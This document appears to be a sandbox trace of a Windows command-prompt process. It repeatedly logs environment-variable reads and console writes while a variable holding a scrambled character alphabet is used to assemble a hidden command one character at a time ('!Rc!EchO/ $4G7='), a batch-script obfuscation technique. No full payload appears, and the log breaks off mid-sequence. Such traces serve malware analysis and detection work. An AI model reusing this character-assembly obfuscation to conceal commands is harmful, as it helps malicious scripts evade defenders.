Environment Get Environment String name = lW, result_out = o.crm`VPx57^l(SEX]L8{-Y=GZU:K%0B[9ia2eb*yftp_/T$j1'vdMF|C\Hwk&)WAIDn+}h4,sg6;3 R""ON True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 2 True 1
Fn
Data
Environment Get Environment String name = PROMPT, result_out = $P$G True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 26 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 3 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 19 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 4 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 3 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 10 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 3 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 15 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 2 True 1
Fn
Data
Environment Get Environment String name = Rc, result_out = !Rc!EchO True 1
Fn
Environment Get Environment String name = lW, result_out = o.crm`VPx57^l(SEX]L8{-Y=GZU:K%0B[9ia2eb*yftp_/T$j1'vdMF|C\Hwk&)WAIDn+}h4,sg6;3 R""ON True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 2 True 1
Fn
Data
Environment Get Environment String name = PROMPT, result_out = $P$G True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 26 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 3 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 19 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 4 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 3 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 10 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 3 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 15 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 2 True 1
Fn
Data
Environment Get Environment String name = Rc, result_out = !Rc!EchO/ True 1
Fn
Environment Get Environment String name = lW, result_out = o.crm`VPx57^l(SEX]L8{-Y=GZU:K%0B[9ia2eb*yftp_/T$j1'vdMF|C\Hwk&)WAIDn+}h4,sg6;3 R""ON True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 2 True 1
Fn
Data
Environment Get Environment String name = PROMPT, result_out = $P$G True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 26 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 3 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 19 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 4 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 3 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 10 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 3 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 15 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 2 True 1
Fn
Data
Environment Get Environment String name = Rc, result_out = !Rc!EchO/ True 1
Fn
Environment Get Environment String name = lW, result_out = o.crm`VPx57^l(SEX]L8{-Y=GZU:K%0B[9ia2eb*yftp_/T$j1'vdMF|C\Hwk&)WAIDn+}h4,sg6;3 R""ON True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 2 True 1
Fn
Data
Environment Get Environment String name = PROMPT, result_out = $P$G True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 26 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 3 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 19 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 4 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 3 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 10 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 3 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 15 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 2 True 1
Fn
Data
Environment Get Environment String name = Rc, result_out = !Rc!EchO/ True 1
Fn
Environment Get Environment String name = lW, result_out = o.crm`VPx57^l(SEX]L8{-Y=GZU:K%0B[9ia2eb*yftp_/T$j1'vdMF|C\Hwk&)WAIDn+}h4,sg6;3 R""ON True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 2 True 1
Fn
Data
Environment Get Environment String name = PROMPT, result_out = $P$G True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 26 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 3 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 19 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 4 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 3 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 10 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 3 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 15 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 2 True 1
Fn
Data
Environment Get Environment String name = Rc, result_out = !Rc!EchO/ $ True 1
Fn
Environment Get Environment String name = lW, result_out = o.crm`VPx57^l(SEX]L8{-Y=GZU:K%0B[9ia2eb*yftp_/T$j1'vdMF|C\Hwk&)WAIDn+}h4,sg6;3 R""ON True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 2 True 1
Fn
Data
Environment Get Environment String name = PROMPT, result_out = $P$G True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 26 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 3 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 19 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 4 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 3 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 10 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 3 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 15 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 2 True 1
Fn
Data
Environment Get Environment String name = Rc, result_out = !Rc!EchO/ $4 True 1
Fn
Environment Get Environment String name = lW, result_out = o.crm`VPx57^l(SEX]L8{-Y=GZU:K%0B[9ia2eb*yftp_/T$j1'vdMF|C\Hwk&)WAIDn+}h4,sg6;3 R""ON True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 2 True 1
Fn
Data
Environment Get Environment String name = PROMPT, result_out = $P$G True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 26 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 3 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 19 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 4 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 3 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 10 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 3 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 15 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 2 True 1
Fn
Data
Environment Get Environment String name = Rc, result_out = !Rc!EchO/ $4G True 1
Fn
Environment Get Environment String name = lW, result_out = o.crm`VPx57^l(SEX]L8{-Y=GZU:K%0B[9ia2eb*yftp_/T$j1'vdMF|C\Hwk&)WAIDn+}h4,sg6;3 R""ON True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 2 True 1
Fn
Data
Environment Get Environment String name = PROMPT, result_out = $P$G True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 26 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 3 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 19 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 4 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 3 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 10 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 3 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 15 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 2 True 1
Fn
Data
Environment Get Environment String name = Rc, result_out = !Rc!EchO/ $4G7 True 1
Fn
Environment Get Environment String name = lW, result_out = o.crm`VPx57^l(SEX]L8{-Y=GZU:K%0B[9ia2eb*yftp_/T$j1'vdMF|C\Hwk&)WAIDn+}h4,sg6;3 R""ON True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 2 True 1
Fn
Data
Environment Get Environment String name = PROMPT, result_out = $P$G True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 26 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 3 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 19 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 4 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 3 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 10 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 3 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 15 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 2 True 1
Fn
Data
Environment Get Environment String name = Rc, result_out = !Rc!EchO/ $4G7= True 1
Fn
Environment Get Environment String name = lW, result_out = o.crm`VPx57^l(SEX]L8{-Y=GZU:K%0B[9ia2eb*yftp_/T$j1'vdMF|C\Hwk&)WAIDn+}h4,sg6;3 R""ON True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 2 True 1
Fn
Data
Environment Get Environment String name = PROMPT, result_out = $P$G True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 26 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 3 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 19 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 4 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 3 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 10 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 3 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 15 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
